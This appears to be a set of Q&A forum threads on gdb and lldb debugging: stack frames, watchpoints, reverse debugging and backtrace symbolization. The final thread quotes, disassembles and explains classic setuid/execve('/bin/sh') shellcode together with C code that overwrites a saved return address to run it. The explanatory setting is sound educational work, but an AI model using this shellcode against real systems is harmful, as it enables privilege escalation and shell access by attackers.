I'm new to reverse engeneering. I wrote the following C code to help me understand a bit more about stack frames.
#include <stdio.h>
int sum(int a, int b,int c)
{
return(a+b+c);
}
int media(int a, int b,int c)
{
int total;
total = a + b + c;
return (total/3);
}
int main ()
{
int num1,num2,num3;
char keypress[1];
num1 = 5;
num2 = 10;
num3 = 15;
printf ("\nCalling sum function\n");
sum(num1,num2,num3);
printf ("\nWaiting a keypress to call media function\n");
scanf ("%c",keypress);
media(num1,num2,num3);
printf ("\nWaiting a keypress to end\n");
scanf ("%c",keypress);
return(0);
}
As far as I know every time you call a function
a stack frame is created (see: ftp.gnu.org/old-gnu/Manuals/gdb/html_node/gdb_41.html). So, my goal with the above C code is to see, at least, three stack-frames.
1) main function - stack frame
2) sum function - stack frame
3) media function - stack frame
BTW: Those printfs are just to help me 'follow' the program in gdb. =)
So I guess if I compare the output of info frame after the program started with the output of info frame just after sum function is called I would get different output right? I did not got it as you can see:
Temporary breakpoint 1, main () at parastack.c:27
warning: Source file is more recent than executable.
27 num1 = 5;
(gdb) nexti
28 num2 = 10;
(gdb) info frame
Stack level 0, frame at 0x7fffffffdf00:
rip = 0x400605 in main (parastack.c:28); saved rip = 0x7ffff7a3c790
source language c.
Arglist at 0x7fffffffdef0, args:
Locals at 0x7fffffffdef0, Previous frame's sp is 0x7fffffffdf00
Saved registers:
rbp at 0x7fffffffdef0, rip at 0x7fffffffdef8
(gdb) nexti
29 num3 = 15;
(gdb) nexti
31 printf ("\nCalling sum function\n");
(gdb) nexti
0x0000000000400618 31 printf ("\nCalling sum function\n");
(gdb) nexti
Calling sum function
32 sum(num1,num2,num3);
(gdb) info frame
Stack level 0, frame at 0x7fffffffdf00:
rip = 0x40061d in main (parastack.c:32); saved rip = 0x7ffff7a3c790
source language c.
Arglist at 0x7fffffffdef0, args:
Locals at 0x7fffffffdef0, Previous frame's sp is 0x7fffffffdf00
Saved registers:
rbp at 0x7fffffffdef0, rip at 0x7fffffffdef8
(gdb) nexti
0x0000000000400620 32 sum(num1,num2,num3);
(gdb) info frame
Stack level 0, frame at 0x7fffffffdf00:
rip = 0x400620 in main (parastack.c:32); saved rip = 0x7ffff7a3c790
source language c.
Arglist at 0x7fffffffdef0, args:
Locals at 0x7fffffffdef0, Previous frame's sp is 0x7fffffffdf00
Saved registers:
rbp at 0x7fffffffdef0, rip at 0x7fffffffdef8
just after sum function is called
Your problem is that you never actually stopped inside of the sum function. You stopped after you printed that you are about to call it, and then you stepped a few instructions, but you never actually landed inside (it takes a few instructions to prepare arguments, one more to actually call, and few more inside the function to set up the frame).
You should start by setting breakpoints inside sum and media, and doing info frame when these breakpoints are hit. You'll notice that the breakpoint is set a few instructions after the beginning of the function (i.e. after function prolog). The skipped instructions are exactly the ones that set up the new frame.
After you understand how that works, you should progress to using step and next commands.
And after that you can graduate to using disas, stepi and nexti commands.
Based on my interpretation of your prose, your understanding of stack frames is slightly off. You are correct that when a function is called a stack frame is created, however, what you're missing is that when a function returns, the stack frame is popped. The stack is in the same state is was before the function began executing except that the program counter contains the address of the first instruction of the statement immediately following the function that just finished executing. So, you should not expect to see 3 stack frames after the two functions in main execute. You will only see one since you're only one frame deep into main().
As for the gdb session, as #Employed Russian points out, you never actually step into any function when printing the stack frame information.
Thanks for everyone that helped me. Below are the gdb session with shows that the stack-frame changed.
First I recompiled the C code: gcc -ggdb stack.c -o stack.bin
gdb stack.bin
(gdb) break sum
(gdb) start
(gdb) info frame
Stack level 0, frame at 0x7fffffffe1a0:
rip = 0x400653 in main (stack.c:26); saved rip 0x7ffff7a6fead
source language c.
Arglist at 0x7fffffffe190, args:
Locals at 0x7fffffffe190, Previous frame's sp is 0x7fffffffe1a0
Saved registers:
rbp at 0x7fffffffe190, rip at 0x7fffffffe198
(gdb) continue
Continuing.
Calling sum function
Breakpoint 1, sum (a=5, b=10, c=15) at stack.c:6
6 total = a + b + c;
(gdb) info frame
Stack level 0, frame at 0x7fffffffe180:
rip = 0x4005dd in sum (stack.c:6); saved rip 0x400684
called by frame at 0x7fffffffe1a0
source language c.
Arglist at 0x7fffffffe170, args: a=5, b=10, c=15
Locals at 0x7fffffffe170, Previous frame's sp is 0x7fffffffe180
Saved registers:
rbp at 0x7fffffffe170, rip at 0x7fffffffe178
Now I will search/learn more about the information in the output.
Related
I want to programmatically convert backtrace stack addresses (eg obtained from backtrace_symbols/libunwind) to file:line:column. I'm on OSX but doubt this makes a difference.
All of these give wrong line number (line 11) for the call to fun1():
atos
addr2line
llvm-symbolizer
lldb image lookup --address using lldb's pc addresses in bt
lldb bt itself gives correct file:line:column, (line 7) as shown below.
How do I programmatically get the correct stack address such that, when using atos/addr2line/llvm-symbolizer/image lookup --address, it would resolve to the correct line number? lldb bt is doing it correctly, so there must be a way to do it. Note that if I use backtrace_symbols or libunwind (subtracted from info.dli_saddr after calling dladdr), I'd end up with the same address 0x0000000100000f74 as shown in lldb bt that points to the wrong line number 11
Note: in .lldbinit, if I add settings set frame-format frame start-addr:${line.start-addr}\n it will show the correct address (ie resolve to 0x0000000100000f6f instead of 0x0000000100000f74, which will resolve to the correct line 7). However, how do I programmatically generate start-addr from a c program without calling spawning a call to lldb -p $pid (calling lldb has other issues, eg overhead compared to llvm-symbolizer, and in fact can hang forever even with -batch).
clang -g -o /tmp/z04 test_D20191123T162239.c
test_D20191123T162239.c:
void fun1(){
}
void fun1_aux(){
int a = 0;
fun1(); // line 7
mylabel:
if(1){
a++; // line 11
}
}
int main(int argc, char *argv[]) {
fun1_aux();
return 0;
}
lldb /tmp/z04
(lldb) target create "/tmp/z04"
Current executable set to '/tmp/z04' (x86_64).
(lldb) b fun1
Breakpoint 1: where = z04`fun1 + 4 at test_D20191123T162239.c:2:1, address = 0x0000000100000f54
(lldb) r
Process 7258 launched: '/tmp/z04' (x86_64)
Process 7258 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x0000000100000f54 z04 fun1 + 4 at test_D20191123T162239.c:2:1
1 void fun1(){
-> 2 }
3
4 void fun1_aux(){
5 int a = 0;
6
7 fun1();
Target 0: (z04) stopped.
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
* frame #0: 0x0000000100000f54 z04 fun1 + 4 at test_D20191123T162239.c:2:1
frame #1: 0x0000000100000f74 z04 fun1_aux + 20 at test_D20191123T162239.c:7:3
frame #2: 0x0000000100000fab z04 main(argc=1, argv=0x00007ffeefbfb748) + 27 at test_D20191123T162239.c:16:3
frame #3: 0x00007fff71c182e5 libdyld.dylib start + 1
frame #4: 0x00007fff71c182e5 libdyld.dylib start + 1
(lldb)
(lldb) image lookup --address 0x0000000100000f74
Address: z04[0x0000000100000f74] (z04.__TEXT.__text + 36)
Summary: z04`fun1_aux + 20 at test_D20191123T162239.c:11:8
echo 0x0000000100000f74 | llvm-symbolizer -obj=/tmp/z04
fun1_aux
test_D20191123T162239.c:11:8
atos -o /tmp/z04 0x0000000100000f74
fun1_aux (in z04) (test_D20191123T162239.c:11)
likewise with addr2line
It's easier to understand if you look at the disassembly for fun1_aux -- you'll see a CALLQ instruction to fun1, followed by something like a mov %rax, $rbp-16 or something like that, the first instruction of your a++ line. When you have called fun1, the return address is the instruction that will be executed when fun1 exits, the mov %rax, $rbp-16 or whatever.
This isn't intuitively how most people think of the computer working -- they expect to look at frame 1, fun1_aux, and see the "current pc value" be the CALLQ, because the call is executing. But of course, that's not correct, the call instruction has completed, and the saved pc is going to point to the next instruction.
In cases like this, the next instruction is part of the next source line, so it's a little extra confusing. Even better is if you have a function that calls a "noreturn" function like abort() -- the final instruction in the function will be a CALLQ, and if you look at the return address instruction, it may point to the next function.
So when lldb is symbolicating stack frames above frame #0, it knows to do a symbol lookup with saved_pc - 1 to move the address back into the CALLQ instruction. That's not a valid address, so it should never show you saved_pc - 1, but it should do symbol / file & line lookups based on it.
You can get the same effect for your manual symbolication by doing the same thing. The one caveat is if you have an asynchronous interrupt (_sigtramp on macOS), the frame above _sigtramp should not have its saved pc value decremented. You could be executing the first instruction of a function when the signal is received, and decrementing it would put you in the previous function which would be very confusing.
I am running an application through gdb and I want to set a breakpoint for any time a specific variable is accessed / changed. Is there a good method for doing this? I would also be interested in other ways to monitor a variable in C/C++ to see if/when it changes.
watch only breaks on write, rwatch let you break on read, and awatch let you break on read/write.
You can set read watchpoints on memory locations:
gdb$ rwatch *0xfeedface
Hardware read watchpoint 2: *0xfeedface
but one limitation applies to the rwatch and awatch commands; you can't use gdb variables
in expressions:
gdb$ rwatch $ebx+0xec1a04f
Expression cannot be implemented with read/access watchpoint.
So you have to expand them yourself:
gdb$ print $ebx
$13 = 0x135700
gdb$ rwatch *0x135700+0xec1a04f
Hardware read watchpoint 3: *0x135700 + 0xec1a04f
gdb$ c
Hardware read watchpoint 3: *0x135700 + 0xec1a04f
Value = 0xec34daf
0x9527d6e7 in objc_msgSend ()
Edit: Oh, and by the way. You need either hardware or software support. Software is obviously much slower. To find out if your OS supports hardware watchpoints you can see the can-use-hw-watchpoints environment setting.
gdb$ show can-use-hw-watchpoints
Debugger's willingness to use watchpoint hardware is 1.
What you're looking for is called a watchpoint.
Usage
(gdb) watch foo: watch the value of variable foo
(gdb) watch *(int*)0x12345678: watch the value pointed by an address, casted to whatever type you want
(gdb) watch a*b + c/d: watch an arbitrarily complex expression, valid in the program's native language
Watchpoints are of three kinds:
watch: gdb will break when a write occurs
rwatch: gdb will break wnen a read occurs
awatch: gdb will break in both cases
You may choose the more appropriate for your needs.
For more information, check this out.
Assuming the first answer is referring to the C-like syntax (char *)(0x135700 +0xec1a04f) then the answer to do rwatch *0x135700+0xec1a04f is incorrect. The correct syntax is rwatch *(0x135700+0xec1a04f).
The lack of ()s there caused me a great deal of pain trying to use watchpoints myself.
I just tried the following:
$ cat gdbtest.c
int abc = 43;
int main()
{
abc = 10;
}
$ gcc -g -o gdbtest gdbtest.c
$ gdb gdbtest
...
(gdb) watch abc
Hardware watchpoint 1: abc
(gdb) r
Starting program: /home/mweerden/gdbtest
...
Old value = 43
New value = 10
main () at gdbtest.c:6
6 }
(gdb) quit
So it seems possible, but you do appear to need some hardware support.
Use watch to see when a variable is written to, rwatch when it is read and awatch when it is read/written from/to, as noted above. However, please note that to use this command, you must break the program, and the variable must be in scope when you've broken the program:
Use the watch command. The argument to the watch command is an
expression that is evaluated. This implies that the variabel you want
to set a watchpoint on must be in the current scope. So, to set a
watchpoint on a non-global variable, you must have set a breakpoint
that will stop your program when the variable is in scope. You set the
watchpoint after the program breaks.
In addition to what has already been answered/commented by asksol and Paolo M
I didn't at first read understand, why do we need to cast the results. Though I read this: https://sourceware.org/gdb/onlinedocs/gdb/Set-Watchpoints.html, yet it wasn't intuitive to me..
So I did an experiment to make the result clearer:
Code: (Let's say that int main() is at Line 3; int i=0 is at Line 5 and other code.. is from Line 10)
int main()
{
int i = 0;
int j;
i = 3840 // binary 1100 0000 0000 to take into account endianness
other code..
}
then i started gdb with the executable file
in my first attempt, i set the breakpoint on the location of variable without casting, following were the results displayed
Thread 1 "testing2" h
Breakpoint 2 at 0x10040109b: file testing2.c, line 10.
(gdb) s
7 i = 3840;
(gdb) p i
$1 = 0
(gdb) p &i
$2 = (int *) 0xffffcbfc
(gdb) watch *0xffffcbfc
Hardware watchpoint 3: *0xffffcbfc
(gdb) s
[New Thread 13168.0xa74]
Thread 1 "testing2" hit Breakpoint 2, main () at testing2.c:10
10 b = a;
(gdb) p i
$3 = 3840
(gdb) p *0xffffcbfc
$4 = 3840
(gdb) p/t *0xffffcbfc
$5 = 111100000000
as we could see breakpoint was hit for line 10 which was set by me. gdb didn't break because although variable i underwent change yet the location being watched didn't change (due to endianness, since it continued to remain all 0's)
in my second attempt, i did the casting on the address of the variable to watch for all the sizeof(int) bytes. this time:
(gdb) p &i
$6 = (int *) 0xffffcbfc
(gdb) p i
$7 = 0
(gdb) watch *(int *) 0xffffcbfc
Hardware watchpoint 6: *(int *) 0xffffcbfc
(gdb) b 10
Breakpoint 7 at 0x10040109b: file testing2.c, line 10.
(gdb) i b
Num Type Disp Enb Address What
6 hw watchpoint keep y *(int *) 0xffffcbfc
7 breakpoint keep y 0x000000010040109b in main at testing2.c:10
(gdb) n
[New Thread 21508.0x3c30]
Thread 1 "testing2" hit Hardware watchpoint 6: *(int *) 0xffffcbfc
Old value = 0
New value = 3840
Thread 1 "testing2" hit Breakpoint 7, main () at testing2.c:10
10 b = a;
gdb break since it detected the value has changed.
I see some value in some place, but unsure where it has originated in my program. How do I figure out where this value initially comes from?
I expect the following event types to be logged:
A value originated from constant, arithmetical expression or syscall - the initial event;
The value was assigned to (or retrieved from) some variable;
The value was passed as an argument or returned from some function;
The value was stored to (or retrieved from) some struct;
By annotating source code with something specific, I triggered the history dump for this value.
For example, for this sample code:
#include <stdlib.h>
struct SomeStruct {
int a;
int b;
};
struct SomeStruct *globalvar;
int f1(struct SomeStruct* par) {
return par->a;
}
int f2(struct SomeStruct* par, int q) {
par->a = q;
return par->b;
}
void trace_value(int g) {} /* dummy */
int main(void) {
int f = 31337;
globalvar = malloc(sizeof(*globalvar));
f2(globalvar, f);
struct SomeStruct q = *globalvar;
int g = f1(&q);
trace_value(g);
return 0;
}
it should return something like
value 31337 originated from constant at fate.c:18
assigned to variable at fate.c:18
retrieved from variable at fate.c:21
passed as argument to function at fate.c:21
received as arument to a function at fate.c:12
assigned to struct field at fate.c:13
copied as a part of struct at fate.c:22
retrieved from struct field at fate.c:9
returned from function at fate.c:10
assigned to variable at fate.c:23
retrieved from variable at fate.c:25
traced at fate.c:25
How do I do this or something similar? I expect Valgrind or GDB or some combination should be able to do this.
Combined idea1 of using reverse gdb and idea2 from MarkPlotnick's comment of using gdb watchpoints. Here is the demo session, more complete than in original answer:
$ gcc -ggdb -Dtrace_value=exit fate.c -o fate
$ gdb -quiet -args ./fate
Reading symbols from /home/vi/code/_/fate...done.
(gdb) break main
Breakpoint 1 at 0x8048482: file fate.c, line 18.
(gdb) r
Starting program: /home/vi/code/_/fate
warning: Could not load shared library symbols for linux-gate.so.1.
Do you need "set solib-search-path" or "set sysroot"?
Breakpoint 1, main () at fate.c:18
18 int f = 31337;
(gdb) record
(gdb) break 25
(gdb) # traced at fate.c:25
Breakpoint 2 at 0x80484d2: file fate.c, line 25.
(gdb) c
Continuing.
Breakpoint 2, main () at fate.c:25
25 trace_value(g);
(gdb) # retrieved from variable at fate.c:25
(gdb) watch g
Hardware watchpoint 3: g
(gdb) reverse-continue
Continuing.
Hardware watchpoint 3: g
Old value = 31337
New value = 134513899
0x080484ce in main () at fate.c:23
23 int g = f1(&q);
(gdb) # assigned to variable at fate.c:23
(gdb) # returned from function at fate.c:10
(gdb) reverse-step
f1 (par=0xffffd670) at fate.c:10
10 }
(gdb) list
5
6 struct SomeStruct *globalvar;
7
8 int f1(struct SomeStruct* par) {
9 return par->a;
10 }
11
12 int f2(struct SomeStruct* par, int q) {
13 par->a = q;
14 return par->b;
(gdb) # retrieved from struct field at fate.c:9
(gdb) print par
$3 = (struct SomeStruct *) 0xffffd670
(gdb) print ((struct SomeStruct *) 0xffffd670)->a
$4 = 31337
(gdb) watch ((struct SomeStruct *) 0xffffd670)->a
Hardware watchpoint 4: ((struct SomeStruct *) 0xffffd670)->a
(gdb) reverse-continue
Continuing.
Hardware watchpoint 4: ((struct SomeStruct *) 0xffffd670)->a
Old value = 31337
New value = -134716508
0x080484ba in main () at fate.c:22
22 struct SomeStruct q = *globalvar;
(gdb) # copied as a part of struct at fate.c:22
(gdb) print globalvar->a
$5 = 31337
(gdb) watch globalvar->a
Hardware watchpoint 5: globalvar->a
(gdb) reverse-continue
Continuing.
Hardware watchpoint 5: globalvar->a
Old value = 31337
New value = 0
0x0804846f in f2 (par=0x804a008, q=31337) at fate.c:13
13 par->a = q;
(gdb) # assigned to struct field at fate.c:13
(gdb) # received as arument to a function at fate.c:12
(gdb) list
8 int f1(struct SomeStruct* par) {
9 return par->a;
10 }
11
12 int f2(struct SomeStruct* par, int q) {
13 par->a = q;
14 return par->b;
15 }
16
17 int main() {
(gdb) bt
#0 0x0804846f in f2 (par=0x804a008, q=31337) at fate.c:13
#1 0x080484b0 in main () at fate.c:21
(gdb) reverse-finish
Run back to call of #0 0x0804846f in f2 (par=0x804a008, q=31337) at fate.c:13
0x080484ab in main () at fate.c:21
21 f2(globalvar, f);
(gdb) # passed as argument to function at fate.c:21
(gdb) # retrieved from variable at fate.c:21
(gdb) watch f
Hardware watchpoint 6: f
(gdb) reverse-finish
"finish" not meaningful in the outermost frame.
(gdb) reverse-continue
Continuing.
Warning:
Could not insert hardware watchpoint 6.
Could not insert hardware breakpoints:
You may have requested too many hardware breakpoints/watchpoints.
(gdb) delete
Delete all breakpoints? (y or n) y
(gdb) watch f
Hardware watchpoint 7: f
(gdb) reverse-continue
Continuing.
No more reverse-execution history.
main () at fate.c:18
18 int f = 31337;
(gdb) # assigned to variable at fate.c:18
(gdb) # value 31337 originated from constant at fate.c:18
All expected messages in the question statement correspond to some info you have seen in gdb output (as shown in comments).
I believe it could be accomplished manually (i.e. running on gdb session) in runtime by technique called "reverse debugging". I haven't tried it yet, but GDB version 7.0 documentation claims, that it is supported on some platforms.
The method would be something like:
localize single step where variable is used in the last place (that is, your "starting point")
analyze source code (so you need debugging symbol and code section available) of stack frame (e.g. by list), so you get how this value is obtained (or possibly modified) witihin (e.g. from parameter passed to function)
step back to previous stack frame and repeat from previous step unless you find its origin
Here is some proof-of-concept session for your sample code. I edited it a bit, as trace_value function was undefined. Note that record command may heavily slow down program's execution.
$ gdb -q a.out
Reading symbols from /home/grzegorz/workspace/a.out...done.
(gdb) b main
Breakpoint 1 at 0x400502: file fate.c, line 22.
(gdb) run
Starting program: /home/grzegorz/workspace/a.out
Breakpoint 1, main () at fate.c:22
22 int f = 31337;
Missing separate debuginfos, use: debuginfo-install glibc-2.12-1.149.el6_6.5.x86_64
(gdb) record
(gdb) b trace_value
Breakpoint 2 at 0x4004f8: file fate.c, line 19.
(gdb) c
Continuing.
Breakpoint 2, trace_value (g=31337) at fate.c:19
19 void trace_value(int g){}
(gdb) info args
g = 31337
(gdb) reverse-finish
Run back to call of #0 trace_value (g=31337) at fate.c:19
0x0000000000400550 in main () at fate.c:29
29 trace_value(g);
(gdb) bt
#0 0x0000000000400550 in main () at fate.c:29
(gdb) list 29
24 globalvar = malloc(sizeof(*globalvar));
25 f2(globalvar, f);
26 struct SomeStruct q = *globalvar;
27 int g = f1(&q);
28
29 trace_value(g);
30
31 return 0;
32 }
Few things maybe require some explanation. You need to set breakpoint for main at first, as this is when the program execution begins, then enable session recording by record command. Then set second breakpoint at trace_value function and use continue command (c in short). This allows you to record whole execution up to moment when trace_value is entered. You may think of it as this "starting point", described above.
This of course not the full story. As I described earlier you need to analyze source code of current stack frame an then decide what to do next. You may use reverse-step or reverse-finish command accordingly to current situation.
I am new to GDB, so I have some questions:
How can I look at content of the stack?
Example: to see content of register, I type info registers. For the stack, what should it be?
How can I see the content of $0x4(%esp)? When I type print /d $0x4(%esp), GDB gives an error.
Platform: Linux and GDB
info frame to show the stack frame info
To read the memory at given addresses you should take a look at x
x/x $esp for hex x/d $esp for signed x/u $esp for unsigned etc. x uses the format syntax, you could also take a look at the current instruction via x/i $eip etc.
Use:
bt - backtrace: show stack functions and args
info frame - show stack start/end/args/locals pointers
x/100x $sp - show stack memory
(gdb) bt
#0 zzz () at zzz.c:96
#1 0xf7d39cba in yyy (arg=arg#entry=0x0) at yyy.c:542
#2 0xf7d3a4f6 in yyyinit () at yyy.c:590
#3 0x0804ac0c in gnninit () at gnn.c:374
#4 main (argc=1, argv=0xffffd5e4) at gnn.c:389
(gdb) info frame
Stack level 0, frame at 0xffeac770:
eip = 0x8049047 in main (goo.c:291); saved eip 0xf7f1fea1
source language c.
Arglist at 0xffeac768, args: argc=1, argv=0xffffd5e4
Locals at 0xffeac768, Previous frame's sp is 0xffeac770
Saved registers:
ebx at 0xffeac75c, ebp at 0xffeac768, esi at 0xffeac760, edi at 0xffeac764, eip at 0xffeac76c
(gdb) x/10x $sp
0xffeac63c: 0xf7d39cba 0xf7d3c0d8 0xf7d3c21b 0x00000001
0xffeac64c: 0xf78d133f 0xffeac6f4 0xf7a14450 0xffeac678
0xffeac65c: 0x00000000 0xf7d3790e
You need to use gdb's memory-display commands. The basic one is x, for examine. There's an example on the linked-to page that uses
gdb> x/4xw $sp
to print "four words (w ) of memory above the stack pointer (here, $sp) in hexadecimal (x)". The quotation is slightly paraphrased.
WARNING: This is an exploit. Do not execute this code.
//shellcode.c
char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main() {
int *ret; //ret pointer for manipulating saved return.
ret = (int *)&ret + 2; //setret to point to the saved return
//value on the stack.
(*ret) = (int)shellcode; //change the saved return value to the
//address of the shellcode, so it executes.
}
can anyone give me a better explanation ?
Apparently, this code attempts to change the stack so that when the main function returns, program execution does not return regularly into the runtime library (which would normally terminate the program), but would jump instead into the code saved in the shellcode array.
1) int *ret;
defines a variable on the stack, just beneath the main function's arguments.
2) ret = (int *)&ret + 2;
lets the ret variable point to a int * that is placed two ints above ret on the stack. Supposedly that's where the return address is located where the program will continue when main returns.
2) (*ret) = (int)shellcode;
The return address is set to the address of the shellcode array's contents, so that shellcode's contents will be executed when main returns.
shellcode seemingly contains machine instructions that possibly do a system call to launch /bin/sh. I could be wrong on this as I didn't actually disassemble shellcode.
P.S.: This code is machine- and compiler-dependent and will possibly not work on all platforms.
Reply to your second question:
and what happens if I use
ret=(int)&ret +2 and why did we add 2?
why not 3 or 4??? and I think that int
is 4 bytes so 2 will be 8bytes no?
ret is declared as an int*, therefore assigning an int (such as (int)&ret) to it would be an error. As to why 2 is added and not any other number: apparently because this code assumes that the return address will lie at that location on the stack. Consider the following:
This code assumes that the call stack grows downward when something is pushed on it (as it indeed does e.g. with Intel processors). That is the reason why a number is added and not subtracted: the return address lies at a higher memory address than automatic (local) variables (such as ret).
From what I remember from my Intel assembly days, a C function is often called like this: First, all arguments are pushed onto the stack in reverse order (right to left). Then, the function is called. The return address is thus pushed on the stack. Then, a new stack frame is set up, which includes pushing the ebp register onto the stack. Then, local variables are set up on the stack beneath all that has been pushed onto it up to this point.
Now I assume the following stack layout for your program:
+-------------------------+
| function arguments | |
| (e.g. argv, argc) | | (note: the stack
+-------------------------+ <-- ss:esp + 12 | grows downward!)
| return address | |
+-------------------------+ <-- ss:esp + 8 V
| saved ebp register |
+-------------------------+ <-- ss:esp + 4 / ss:ebp - 0 (see code below)
| local variable (ret) |
+-------------------------+ <-- ss:esp + 0 / ss:ebp - 4
At the bottom lies ret (which is a 32-bit integer). Above it is the saved ebp register (which is also 32 bits wide). Above that is the 32-bit return address. (Above that would be main's arguments -- argc and argv -- but these aren't important here.) When the function executes, the stack pointer points at ret. The return address lies 64 bits "above" ret, which corresponds to the + 2 in
ret = (int*)&ret + 2;
It is + 2 because ret is a int*, and an int is 32 bit, therefore adding 2 means setting it to a memory location 2 × 32 bits (=64 bits) above (int*)&ret... which would be the return address' location, if all the assumptions in the above paragraph are correct.
Excursion: Let me demonstrate in Intel assembly language how a C function might be called (if I remember correctly -- I'm no guru on this topic so I might be wrong):
// first, push all function arguments on the stack in reverse order:
push argv
push argc
// then, call the function; this will push the current execution address
// on the stack so that a return instruction can get back here:
call main
// (afterwards: clean up stack by removing the function arguments, e.g.:)
add esp, 8
Inside main, the following might happen:
// create a new stack frame and make room for local variables:
push ebp
mov ebp, esp
sub esp, 4
// access return address:
mov edi, ss:[ebp+4]
// access argument 'argc'
mov eax, ss:[ebp+8]
// access argument 'argv'
mov ebx, ss:[ebp+12]
// access local variable 'ret'
mov edx, ss:[ebp-4]
...
// restore stack frame and return to caller (by popping the return address)
mov esp, ebp
pop ebp
retf
See also: Description of the procedure call sequence in C for another explanation of this topic.
The actual shellcode is:
(gdb) x /25i &shellcode
0x804a040 <shellcode>: xor %eax,%eax
0x804a042 <shellcode+2>: xor %ebx,%ebx
0x804a044 <shellcode+4>: mov $0x17,%al
0x804a046 <shellcode+6>: int $0x80
0x804a048 <shellcode+8>: jmp 0x804a069 <shellcode+41>
0x804a04a <shellcode+10>: pop %esi
0x804a04b <shellcode+11>: mov %esi,0x8(%esi)
0x804a04e <shellcode+14>: xor %eax,%eax
0x804a050 <shellcode+16>: mov %al,0x7(%esi)
0x804a053 <shellcode+19>: mov %eax,0xc(%esi)
0x804a056 <shellcode+22>: mov $0xb,%al
0x804a058 <shellcode+24>: mov %esi,%ebx
0x804a05a <shellcode+26>: lea 0x8(%esi),%ecx
0x804a05d <shellcode+29>: lea 0xc(%esi),%edx
0x804a060 <shellcode+32>: int $0x80
0x804a062 <shellcode+34>: xor %ebx,%ebx
0x804a064 <shellcode+36>: mov %ebx,%eax
0x804a066 <shellcode+38>: inc %eax
0x804a067 <shellcode+39>: int $0x80
0x804a069 <shellcode+41>: call 0x804a04a <shellcode+10>
0x804a06e <shellcode+46>: das
0x804a06f <shellcode+47>: bound %ebp,0x6e(%ecx)
0x804a072 <shellcode+50>: das
0x804a073 <shellcode+51>: jae 0x804a0dd
0x804a075 <shellcode+53>: add %al,(%eax)
This corresponds to roughly
setuid(0);
x[0] = "/bin/sh"
x[1] = 0;
execve("/bin/sh", &x[0], &x[1])
exit(0);
That string is from an old document on buffer overflows, and will execute /bin/sh. Since it's malicious code (well, when paired with a buffer exploit) - you should really include it's origin next time.
From that same document, how to code stack based exploits :
/* the shellcode is hex for: */
#include <stdio.h>
main() {
char *name[2];
name[0] = "sh";
name[1] = NULL;
execve("/bin/sh",name,NULL);
}
char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0
\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c
\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
The code you included causes the contents of shellcode[] to be executed, running execve, and providing access to the shell. And the term Shellcode? From Wikipedia :
In computer security, a shellcode is a
small piece of code used as the
payload in the exploitation of a
software vulnerability. It is called
"shellcode" because it typically
starts a command shell from which the
attacker can control the compromised
machine. Shellcode is commonly written
in machine code, but any piece of code
that performs a similar task can be
called shellcode.
Without looking up all the actual opcodes to confirm, the shellcode array contains the machine code necessary to exec /bin/sh. This shellcode is machine code carefully constructed to perform the desired operation on a specific target platform and not to contain any null bytes.
The code in main() is changing the return address and the flow of execution in order to cause the program to spawn a shell by having the instructions in the shellcode array executed.
See Smashing The Stack For Fun And Profit for a description on how shellcode such as this can be created and how it might be used.
The string contains a series of bytes represented in hexadecimal.
The bytes encode a series of instructions for a particular processor on a particular platform — hopefully, yours. (Edit: if it's malware, hopefully not yours!)
The variable is defined just to get a handle to the stack. A bookmark, if you will. Then pointer arithmetic is used, again platform-dependent, to manipulate the state of the program to cause the processor to jump to and execute the bytes in the string.
Each \xXX is a hexadecimal number. One, two or three of such numbers together form an op-code (google for it). Together it forms assembly which can be executed by the machine more or less directly. And this code tries to execute the shellcode.
I think the shellcode tries to spawn a shell.
This is just spawn /bin/sh, for example in C like execve("/bin/sh", NULL, NULL);